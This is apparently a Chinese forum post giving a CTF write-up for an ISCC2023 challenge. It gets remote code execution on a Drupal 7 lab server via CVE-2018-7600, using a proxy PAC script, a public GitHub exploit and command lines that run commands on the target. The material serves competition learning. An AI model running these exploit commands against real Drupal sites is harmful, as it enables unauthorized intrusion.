Moxin 发表于 2023-7-13 22:11:24

【ISCC2023】阶段一|内网服务器漏洞利用(CVE-2018-7600)

前些日子比赛结束了,还是有很多小伙伴想要我们这次解题的部分WP,我们这次给大家分享一下实战题的解题思路,其中遇到的一些小坑也是其中代理的问题,解决完成之后一切都好说了。

# 审题

![](https://docs.qsnctf.com/img/【ISCC2023】阶段一|内网服务器漏洞利用/image-20230503030200805.png)

我们首先需要使用Windows系统操作,因为系统并没有给我们提供MacOS和Linux环境的相关程序(当然,你也可以找)。

# 注意事项

设置连接后,然后访问Server1,这个时候会可能有些问题,比如你有代理插件,设置**“无代理”**会出现无法访问的情况。

![](https://docs.qsnctf.com/img/【ISCC2023】阶段一|内网服务器漏洞利用/image-20230503030336090.png)

我们这时候需要设置一个系统代理,为什么呢?

!(https://docs.qsnctf.com/img/【ISCC2023】阶段一|内网服务器漏洞利用/image-20230503031806588.png)

因为这个环境很坑的帮我们设置了一个Socks5代理,如果你没有发现这个问题可能都不会知道有这个代理。(hha,大家看到这篇文章的时候可能已经不需要这个环境啦!)

我们访问这个脚本地址,拿到脚本:

```vbscript
var myproxy = "SOCKS5 127.0.0.1:1080; "
var subNet = ["10.119.4.206", "172.18.0.2"]
var subMask = ["255.255.255.255", "255.255.255.255"]
var direct = 'DIRECT;';
function alert_eval(str) { alert(str + ' is ' + eval(str)) }
function FindProxyForURL(url, host) {
    for (let index=0; index < subNet.length; index++) {
      if(isInNet(host, subNet, subMask)) {
            return myproxy;
      }
    }
    return direct;
}
```

**其中表明:你设置了一个Socks5的代理,代理IP地址为127.0.0.1:1080**

# 信息收集

访问172.18.0.2(靶机内网IP)

!(https://docs.qsnctf.com/img/【ISCC2023】阶段一|内网服务器漏洞利用/image-20230503031826301.png)

我们发现访问到了一个Drupal 7的环境,这个环境最容易出现的漏洞(影响较大的漏洞)我们使用最最最笨的办法:

![](https://docs.qsnctf.com/img/【ISCC2023】阶段一|内网服务器漏洞利用/image-20230503031133137.png)

也就是`CVE-2018-7602`和`CVE-2018-7600`,这两个漏洞都都是远程代码执行。

我们使用Msf看一下这个漏洞的信息

![](https://docs.qsnctf.com/img/【ISCC2023】阶段一|内网服务器漏洞利用/image-20230503032022535.png)

![](https://docs.qsnctf.com/img/【ISCC2023】阶段一|内网服务器漏洞利用/image-20230503032046476.png)

得到了一个比较广的范围,那么我们其实可以直接实验了,没有必要再追究版本问题了。

# 漏洞利用

Github找个exp:https://github.com/pimps/CVE-2018-7600

![](https://docs.qsnctf.com/img/【ISCC2023】阶段一|内网服务器漏洞利用/image-20230503032414269.png)

首先安装requests、bs4(我相信大家都装了)

```powershell
python ./drupa7-CVE-2018-7600.py -p socks5://127.0.0.1:1080 http://172.18.0.2/
```

执行命令,应该能拿到 uid=33(www-data) gid=33(www-data) groups=33(www-data)

如果上一步成功了,则下面就可以执行命令了,如果没有成功,那可能是环境问题或者是你的代理问题。

````powershell
./drupa7-CVE-2018-7600.py -c "pidof VehicleController" -p socks5://127.0.0.1:1080 http://172.18.0.2/
````

使用上面的命令就能拿到进程号

![](https://docs.qsnctf.com/img/【ISCC2023】阶段一|内网服务器漏洞利用/image-20230503033731139.png)

当然,我们也可以用msf一把梭,这样也可以哦。

环境已经复现到平台,可以直接在平台中练习。

![](https://docs.qsnctf.com/img/【ISCC2023】阶段一|内网服务器漏洞利用(CVE-2018-7600)/image-20230503045331915.png)

![](https://docs.qsnctf.com/img/【ISCC2023】阶段一|内网服务器漏洞利用(CVE-2018-7600)/image-20230503045248311.png)



# 备注

备注:本篇文章在比赛结束后进行解密,供大家查看。文章发布于5月3日,在比赛结束之前一直是以加密方式保存,没有进行泄露。解密日期:2023年05月29日。
页: [1]
查看完整版本: 【ISCC2023】阶段一|内网服务器漏洞利用(CVE-2018-7600)